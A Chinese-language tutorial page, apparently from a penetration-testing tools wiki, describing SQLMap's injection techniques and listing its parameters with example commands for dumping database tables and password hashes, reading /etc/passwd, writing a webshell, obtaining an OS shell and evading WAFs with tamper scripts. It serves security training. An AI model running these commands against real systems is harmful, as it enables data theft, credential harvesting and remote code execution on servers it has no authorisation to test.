工具
Metasploit Framework
Nmap
SQLMap
Dirb
Gobuster
Netcat
反弹shell
Hydra
wfuzz
wpscan
searchsploit
字典
arp-scan
hashcat
Netdiscover
Cobalt Strike
Goby
Nessus
Xray
Nuclei
-
+
首页
SQLMap
SQLMap 是一款开源的自动化 SQL 注入工具,主要用于检测和利用 Web 应用程序中的 SQL 注入漏洞,由 Python 开发,跨平台支持(Windows、Linux、macOS 等),具备强大的自动化检测能力和丰富的漏洞利用功能,能够应对多种数据库类型和注入场景。 官网地址:https://sqlmap.org/ ## 核心功能 SQLMap 的核心功能围绕 SQL 注入漏洞的 “检测 - 利用 - 提权” 全流程展开。 > 漏洞检测 自动识别 Web 应用中存在的 SQL 注入点,支持多种注入类型: - 基于布尔的盲注(Boolean-based blind):通过判断 SQL 语句执行后的页面逻辑(真 / 假)推断数据。 - 基于时间的盲注(Time-based blind):通过构造延迟响应的 SQL 语句(如sleep())判断注入存在。 - 基于错误的注入(Error-based):利用数据库返回的错误信息(如语法错误)提取数据。 - 联合查询注入(Union query):通过UNION语句拼接查询结果,直接获取数据。 - 堆叠查询注入(Stacked queries):通过分号分隔多条 SQL 语句,执行额外操作(如写入文件、执行命令)。 - 带外注入:将信息外带到其他服务器。 > 数据库信息枚举 一旦确认注入点,可根据提供的参数进行自动枚举目标数据库核心信息: - 数据库类型(MySQL、PostgreSQL、SQL Server、Oracle、SQLite 等)及版本。 - 数据库用户、权限(如是否为管理员权限)。 - 数据库名、表名、列名、字段类型。 > 数据提取 支持从数据库中提取具体数据,包括: - 表中记录(如用户账号、密码哈希)。 - 数据库元数据(如存储过程、函数)。 - 二进制文件(如通过LOAD_FILE读取服务器文件)。 > 权限提升与系统操作 若获取高权限数据库用户(如 MySQL 的root、SQL Server 的sa),可进一步执行: - 写入文件到服务器(如通过INTO OUTFILE写入 Webshell)。 - 执行系统命令(如通过数据库扩展功能调用系统命令,如 MySQL 的`sys_exec()`)。 - 获取操作系统 Shell(`--os-shell`参数直接生成交互式 Shell)。 > 其他辅助功能 支持 HTTP 代理、Cookie、Header 等请求参数配置,适配复杂的身份验证场景。 内置规避 WAF(Web 应用防火墙)的策略(如字符编码、请求拆分)。 批量扫描多个目标(通过加载 URL 列表文件)。 ## 支持的数据库类型 SQLMap 对主流关系型数据库均有良好支持,包括但不限于: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, Raima Database Manager, YugabyteDB, Aurora, OpenGauss, ClickHouse, Virtuoso and DM8 。 ## 使用方法 SQLMap 的使用依赖命令行参数,核心语法为: ```bash sqlmap [选项] ``` ## 相关参数 > 目标参数 | 参数 | 说明 | 示例 | | --------------------- | -------------------------------------------------- | ------------------------------------------------------------ | | -u <br />--url | 指定目标URL进行测试 | sqlmap -u "http://example.com/page.php?id=1" | | --data | 指定POST请求的数据 | sqlmap -u "http://example.com/login.php" --data="user=admin&pass=123" | | -c <br />--cookie | 指定Cookie,用于需要身份验证的页面 | sqlmap -u "http://example.com/admin.php" --cookie="PHPSESSID=a1b2c3;" | | --random-agent | 使用随机的User-Agent头,避免被WAF识别 | sqlmap -u "http://example.com/page.php?id=1" --random-agent | | -A <br />--user-agent | 自定义User-Agent | sqlmap -u "http://example.com/page.php?id=1" --user-agent="MyBrowser 1.0" | | --referer | 指定Referer头,有些应用会检查来源 | sqlmap -u "http://example.com/page.php?id=1" --referer="https://google.com" | | -H <br />--headers | 添加额外的HTTP头,用\n分隔 | sqlmap -u "http://example.com/page.php?id=1" --headers="X-Forwarded-For: 127.0.0.1\nX-Requested-With: XMLHttpRequest" | | --proxy | 使用代理,方便通过Burp Suite等工具观察流量 | sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080" | | -r | 从文件加载HTTP请求(如从Burp Suite复制) | sqlmap -r request.txt | | --delay | 设置每个HTTP请求之间的延迟(秒),避免触发频率限制 | sqlmap -u "http://example.com/page.php?id=1" --delay=2 | | --auth-type | 指定HTTP认证类型(Basic, Digest, NTLM) | sqlmap -u "http://example.com/admin" --auth-type=Basic --auth-cred="admin:password" | | -p | 指定参数 | sqlmap -u "http://example.com/vuln.php?id=1&name=admin&category=2" -p "id,name"<br />sqlmap -u "http://example.com/vuln.php?id=1&name=admin&category=2" -p id | | --skip | 跳过该参数 | # 测试除了 category 之外的所有参数<br/>sqlmap -u "http://example.com/vuln.php?id=1&name=admin&category=2" --skip="category" | > 注入检测与枚举参数 | 参数 | 说明 | 示例 | | -------------- | -------------------------------------------------------- | ------------------------------------------------------------ | | --dbs | 枚举所有数据库名 | sqlmap -u "http://example.com/page.php?id=1" --dbs | | --current-db | 获取当前数据库名 | sqlmap -u "http://example.com/page.php?id=1" --current-db | | --tables | 枚举指定数据库的所有表 | sqlmap -u "http://example.com/page.php?id=1" -D app_db --tables | | --columns | 枚举指定表的所有列 | sqlmap -u "http://example.com/page.php?id=1" -D app_db -T users --columns | | --dump | 导出(dump)指定表的所有数据 | sqlmap -u "http://example.com/page.php?id=1" -D app_db -T users --dump | | --dump-all | 导出整个数据库的所有数据(慎用,数据量可能很大) | sqlmap -u "http://example.com/page.php?id=1" --dump-all | | --batch | 使用“批处理”模式,所有需要用户交互的选择都自动采用默认值 | sqlmap -u "http://example.com/page.php?id=1" --batch --dbs | | --passwords | 枚举数据库用户密码哈希并尝试破解 | sqlmap -u "http://example.com/page.php?id=1" --passwords | | --current-user | 获取当前数据库用户 | sqlmap -u "http://example.com/page.php?id=1" --current-user | | --is-dba | 检查当前用户是否为DBA(数据库管理员) | sqlmap -u "http://example.com/page.php?id=1" --is-dba | > 文件系统与操作系统访问参数 | 参数 | 说明 | 示例 | | -------------------------- | ---------------------------------- | ------------------------------------------------------------ | | --file-read | 从数据库服务器读取文件 | sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd" | | --file-write & --file-dest | 向数据库服务器写入文件(上传文件) | sqlmap -u "http://example.com/page.php?id=1" --file-write="local_shell.php" --file-dest="/var/www/html/shell.php" | | --os-shell | 提示一个交互式的操作系统Shell | sqlmap -u "http://example.com/page.php?id=1" --os-shell | | --os-cmd | 执行一条操作系统命令 | sqlmap -u "http://example.com/page.php?id=1" --os-cmd="whoami" | > 优化与性能参数 | 参数 | 说明 | 示例 | | ----------- | ------------------------------------------------------------ | ----------------------------------------------------------- | | --threads | 设置最大并发线程数(默认1),提高速度但可能被WAF封禁 | sqlmap -u "http://example.com/page.php?id=1" --threads=5 | | --level | 设置测试等级(1-5),等级越高测试越全面 | sqlmap -u "http://example.com/page.php?id=1" --level=3 | | --risk | 设置风险等级(1-3),风险越高使用的Payload越危险 | sqlmap -u "http://example.com/page.php?id=1" --risk=2 | | --technique | 指定使用的注入技术(B:布尔盲注,E:报错注入,U:联合查询,S:堆叠查询,T:时间盲注) | sqlmap -u "http://example.com/page.php?id=1" --technique=BE | > 绕过与过滤参数 | 参数 | 说明 | 示例 | | --------- | ------------------------------------------------- | ------------------------------------------------------------ | | --tamper | 使用脚本混淆Payload以绕过WAF/过滤(核心绕过参数) | sqlmap -u "http://example.com/page.php?id=1" --tamper=space2comment,between | | --charset | 强制指定字符集,用于处理中文等宽字节注入 | sqlmap -u "http://example.com/page.php?id=1" --charset=GBK | | --hex | 在dump数据时使用16进制格式,避免乱码 | sqlmap -u "http://example.com/page.php?id=1" --hex | > 其他实用参数 | 参数 | 说明 | 示例 | | --------------- | ----------------------------------------- | ------------------------------------------------------------ | | --output-dir | 自定义输出目录 | sqlmap -u "http://example.com/page.php?id=1" --output-dir=/tmp/my_scan | | --flush-session | 清空当前目标的会话文件,重新测试 | sqlmap -u "http://example.com/page.php?id=1" --flush-session | | --purge | 删除~/.sqlmap/output/下所有内容,彻底清空 | sqlmap --purge | | --wizard | 为新手提供的交互式向导模式 | sqlmap --wizard | > 常用 Tamper 脚本 | Tamper 脚本 | 说明 | 示例 | | -------------- | ------------------------- | ----------------------- | | space2comment | 将空格替换为 // | --tamper=space2comment | | between | 用 BETWEEN 替换 > 比较符 | --tamper=between | | charencode | 对字符进行URL编码 | --tamper=charencode | | randomcase | 随机大小写 | --tamper=randomcase | | apostrophemask | 用UTF-8全角字符代替单引号 | --tamper=apostrophemask |
毛林
2025年10月9日 16:45
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码